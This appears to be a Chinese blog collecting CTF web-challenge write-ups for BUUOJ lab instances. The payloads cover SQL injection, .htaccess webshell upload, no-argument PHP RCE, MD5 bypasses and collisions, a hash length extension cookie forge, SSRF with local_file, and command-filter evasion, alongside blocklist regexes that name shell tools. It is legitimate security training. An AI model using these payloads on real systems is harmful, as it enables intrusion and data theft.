[GYCTF2020]Blacklist

http://202bc5e9-02e8-4c36-9793-151b247a806c.node3.buuoj.cn

经测试是字符型注入

1
?inject=1' or '1'='1
图片

图片

尝试联合查询,爆出了黑名单,先用show查着

图片

图片

1
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

根据匹配,先闭合语句再进行查询

图片

图片

1
2
?inject=1';show databases;#
?inject=1';show tables;#
图片

图片

看到明显的FlagHere表

1
?inject=1';show tables;show columns from FlagHere;show columns from words;#
图片

图片

在mysql里还能使用handler进行查询,具体使用官方文档

handler…open语句将打开一个表,使其可以使用后续handler…read语句进行访问,该表对象未被其他会话共享,并且在会话调用handler…close或会话终止之前不会关闭

1
?inject=1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
图片

图片

flag{901a13f0-67cb-4dd5-b765-0d2c02c91e81}

[MRCTF2020]你传你🐎呢

http://5f42ce42-df7b-494b-bf63-bab03cd0f852.node3.buuoj.cn

图片

图片

过滤得很严,只能上传图片,但.htaccess也可以上传

传入.htaccess文件作为php解析器,使我们传入的图片马里包含的php语句生效

1
2
3
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg
SetHandler application/x-httpd-php
图片

图片

图片

图片

在用蚁剑连接时连接图片地址

图片

图片

进到根目录获得flag

图片

图片

flag{29c63dce-7ee9-4f02-a809-c41bf114cd19}

[GXYCTF2019]禁止套娃

http://b8053621-499f-4613-8852-d66828da67fe.node3.buuoj.cn

先dirmap扫个目录

图片

图片

看到有.git隐藏文件,用githack恢复

图片

图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
//过滤伪协议
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
//正则匹配,传参会被替换成NULL且语句的合法形式是a(b());
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
//过滤了一些关键字
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

方法一:利用常量函数

无参RCE需要一些php自带常量的函数来构造payload

1
2
?exp=print_r(scandir()) //首先想到的是输出目录,如何指定当前目录?
?exp=print_r(scandir(current(localeconv()))) //current(localeconv())结合,输出本地数组的值
图片

图片

php里有个next()函数可以用来读取数组的下一位元素,但在这题中不能连续使用,因为不适用a(b())格式,可flag.php正巧在倒数第二位,所以可以先用array_reverse()将数组倒序再进行读取,根据代码注释采用highlight_file()进行输出

1
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
图片

图片

flag{16bab8e9-4333-4ff6-9ca3-ef4b717467ad}

方法二:利用session

这是看大佬博客发现的方法,payload如下:

1
?exp=show_source(session_id(session_start()));

首先需要理解session的工作原理

  1. 首先使用session_start()函数进行初始化
  2. 当执行PHP脚本时,通过使用$_SESSION超全局变量注册session变量
  3. 当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的session.save_path指定,下次浏览网页时可以加载使用

而session_start()初始化的东西可以在cookie里使用默认值PHPSESSID或者php.ini中设定的session.name进行文件读取,如果读取到了这个cookie将会创建$_SESSION变量并从相应目录中读取文件,并将字符装入变量中;如果没读取到也会创建$_SESSION变量和session文件并返回值。

获取到session_start()的初始值后,session_id()可以用来获取session会话的id,在cookie里指定到flag.php后进行读取,再用show_source()进行输出。

图片

图片

[MRCTF2020]Ez_bypass

http://a8085622-bd11-414f-9ac0-6bebed5d4231.node3.buuoj.cn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

主要进行了GET方面$gg和$id的md5判断,和POST方面的$passwd密码传参
直接数组绕过md5判断,数字加字母绕过密码

1
2
?gg[]=a&id[]=b
passwd=1234567a
图片

图片

flag{9cada024-2b17-4a01-ad45-23871db3d3c9}

[De1CTF 2019]SSRF Me

http://e695ad48-e686-4361-a809-93147a6a1133.node3.buuoj.cn

将代码进行排版,是个flask的框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)):
#SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

附带Hint: flag is in ./flag.txt
审计之:

  1. 三个路由,index用来获取源码,geneSign用来生成md5,De1ta为挑战.
  2. 在 /De1ta 中使用 get 传参 param ,在 cookie 里用 action sign 去读取 flag.txt,其中param=flag.txt,action 中要含有 read 和 scan,且 sign=md5(secert_key + param + action)

    方法一:哈希拓展攻击

详细资料

简单说下md5算法,分为md5 padding和md5 compress

图片

图片

对输入的一串字符进行md5 padding后,如果这串字符的字节长度对64求余结果不为56,就会填充一个x80和xx个0使得对64求余的结果等于56,此时字符串的字节长度为n*64+56,并且最后8个字节用来记录原始输入信息长度

例如对admin进行md5 padding处理后为

1
61646d696e8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002800000000000000

61646d696e 为admin的hex
80 为第一个填充块,后面的一大串0也是填充

2800000000000000 实际值为0000000000000028,十进制的40,单位为bit,为5个字节(admin)

md5算法里有四个向量(Magic number)

1
0x67452301L, 0xefcdab89L, 0x98badcfeL, 0x10325476L

初始化的4个Magic number会和第一个64字节的Message block进行md5 compress压缩算法,压缩算法完成后会产生新的4个Magic number,再进行第二个64字节Message block的md5 compress压缩算法,直到压缩到最后64个字节的(Message block + padding),最后得到的Magic number经过hex转化就是最后的md5 hash值
所以当已知 md5(salt+message)的值 message内容 salt+message长度 时,就可以在不知道salt的具体内容情况下计算出任意的md5(salt+message+padding+append)值,逆向出最后一次的4个Magic number大佬的攻击脚本

回归正题

geneSign里的request.args.get()方法可以用来请求上下文,即可以用来读取文件内容,先读取一下flag.txt,获得一串md5,是md5(secert_key + ‘flag.txt’ + ‘scan’) 的值,而我们需要的是获取 md5(secert_key + ‘flag.txt’ + ‘readscan’) 的值

1
2
/geneSign?param=flag.txt
62bc8d3947680a751bfb41f9e69631d9

使用hashpump工具进行哈希长度扩展攻击

图片

图片

1
2
02093a8c2c49c37477f5053717930316
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read

需要在执行前把转义字符\x变成%然后将这两串传入cookie,脚本如下:

1
2
3
4
5
6
7
8
import requests
url = 'http://e695ad48-e686-4361-a809-93147a6a1133.node3.buuoj.cn/De1ta?param=flag.txt'
cookies = {
  'sign': '02093a8c2c49c37477f5053717930316',
  'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read',
  }
res = requests.get(url=url, cookies=cookies)
print(res.text)

收到回复信息

1
2
python3 hashcookie.py
{"code": 200, "data": "flag{40fac20a-bded-4216-889f-ac089966e6d4}\n"}

方法二:字符串拼接

后两种方法是看大佬博客的,跟着复现学一波

geneSign里的param在方法定义里只有scan的功能,要想实现readscan可以根据python里对md5()方法里参数的拼接,采用字符串拼接的形式,看一下这两块的逻辑

1
2
3
4
5
6
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

在访问/geneSign?param=flag.txt的时候,返回的数据应该是 md5(‘secert_key’ + ‘flag.txt’ + ‘scan’)
在md5()方法里相当于 md5(secert_keyflag.txtscan)

所以当我们传入的数据为 /geneSign?param=flag.txtread 时就拼接出了md5(‘secert_keyflag.txtreadscan’),直接获取到cookie

1
2
/geneSign?param=flag.txtread
cb6a31cfc19b4162449c235bac8251b7

接着抓包访问 /De1ta?param=flag.txt 构造cookie
action=readscan;sign=cb6a31cfc19b4162449c235bac8251b7

图片

图片

flag{40fac20a-bded-4216-889f-ac089966e6d4}

方法三:local_file

和第二种方法类似,但在文件内容读取上用了local_file函数,与之相关的是CVE-2019-9948,存在不必要的URL方案以允许local_file://读取urllib中的文件

进行读取的话,flag.txt的路径是 local_file:///app/flag.txt,其余步骤与方法二相似

这里是使用的 urllib.urlopen(param) 去包含的文件,所以可以直接加上文件路径 flag.txt 或 ./flag.txt 去访问,也可以使用类似的 file:///app/flag.txt 去访问,但是 file 关键字在黑名单里,可以使用 local_file 代替,​ 如果使用 urllib2.urlopen(param) 去包含文件就必须加上 file ,否则会报 ValueError: unknown url type: /path/to/file 的错误.

[安洵杯 2019]easy_web

http://0e8bac5e-a39d-418f-946e-527496c2ba0b.node3.buuoj.cn

查看源码,有一句提示 md5 is funny ~

观察url的变量

1
2
3
4
5
6
7
/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
对img进行base64解码
MzUzNTM1MmU3MDZlNjc=
再解一次
3535352e706e67
解一次hex
555.png

猜测能进行文件读取,构造index.php查下源码

1
2
3
4
5
index.php
696e6465782e706870
Njk2ZTY0NjU3ODJlNzA2ODcw
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=

对图片里的base64进行解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
//$img对文件进行base64源码读取
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
//对$cmd进行了过滤,但过滤反斜杠 |\\|\\\\| 正则没有写好,可导致反斜杠逃逸
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
//md5强类型比较,需要md5碰撞
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}
?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

对于本题php反斜杠的正则 |\|\\| 形成的反斜杠逃逸,可以解析一下过程

  1. \ 先经过PHP正则解析器为一个\
  2. \ 又跟’|’结合到一起,从而在正则表达式的解析器解析为|
  3. 又因为’|’是正则中的保留符号,所以需要一个转义符来转义.所以\|这个的结果就是匹配 ‘|’
  4. 后面又跟了\\,这里先经过PHP正则解析器为 \,然后在经过正则表达式的解析器为 ‘\’
  5. 最后的正则表达式就是匹配’|\’而不是’|’和’\’,形成反斜杠逃逸

根据分析构造payload

1
cmd=ca\t%20/flag

在md5里有一些md5串编码不同但值相同,就可以用来碰撞绕过

1
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

需要抓包改成post传参

图片

图片

flag{5e4e259d-460a-4ca9-ab42-9641bf7f9179}

[GXYCTF2019]BabyUpload

http://434077c3-498f-4c11-a729-f0163dbfb84f.node3.buuoj.cn

尝试上传一句话图片马,提示说后缀名不能有ph

图片

图片

那就上传.htaccess

图片

图片

再把图片上传

图片

图片

蚁剑连上

图片

图片

flag{4d82a478-0cbd-41f0-ab29-ae2d943d8705}

[BJDCTF2020]Mark loves cat

http://75fc63bc-7ecb-4732-a3f9-26b5dea705f6.node3.buuoj.cn

页面没啥利用点,我的扫描器经常扫不到.git,还是用自己的脚本扫下目录

图片

图片

一堆弱相应,但存在.git,用githack恢复,看到有flag.php文件,但没恢复出来

图片

图片

以前做题好像也有这种情况,翻了翻以前的文章

尝试用gittool工具里的Dumper和Extractor获得完整源码,失败

奇怪了就是恢复不过来,我换靶机也恢复不过来,只能看着别人博客的源码

flag.php

1
2
3
<?php
$flag = file_get_contents('/flag');
//flag.php只起到一个输出作用

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//html略
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
    $$x = $y;
}
foreach($_GET as $x => $y){
    $$x = $$y;
}
//支持get和post传参的数组遍历
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}
//还加了三层过滤规则
//1.不管是get还是post,flag都不能等于flag,否则退出
//2.检测get或post是否有flag,没有则退出
//3.如果get的flag不等于flag,退出
//也就是要求get的flag=flag,但不能post或者get的flag=flag
echo "the flag is: ".$flag;

看一下foreach函数,在不改变flag的情况下exit()也能作为输出,本题的思路就是变量覆盖

1
2
3
4
5
6
7
8
9
foreach
(PHP 4, PHP 5, PHP 7)
foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。有两种语法:
foreach (array_expression as $value)
    statement
foreach (array_expression as $key => $value)
    statement
第一种格式遍历给定的 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。
第二种格式做同样的事,只除了当前单元的键名也会在每次循环中被赋给变量 $key。

方法一:GET

get里只要能构成变量覆盖,用$yds或$is都行

1
2
3
foreach($_GET as $x => $y){
    $$x = $$y;
}

如果是yds=flag
$x=yds,$y=flag,所以$$x=$yds,$$y=$flag

$$x = $$y,也就是$yds=$flag

payload

1
yds=flag

如果是is=flag
$x=is,$y=flag,所以$$x=$is,$$y=$flag

$$x = $$y,也就是$is=$flag

又因为要求flag=flag,所以$x=flag,$y=flag,带进去变成$flag=$flag

将两种情况连接起来

payload

1
is=flag&flag=flag
图片

图片

flag{64be7429-88b0-4318-8e17-3a7efb7a540a}

方法二:GET+POST

在post里也可以进行一次变量覆盖

1
2
3
foreach($_POST as $x => $y){
$$x = $y;
}

需要post一个等式使得执行后为$$flag=$flag,即$flag=flag
然后get传参为yds=flag,详细看方法一

payload

1
2
3
4
GET:
yds=flag
POST:
$flag=flag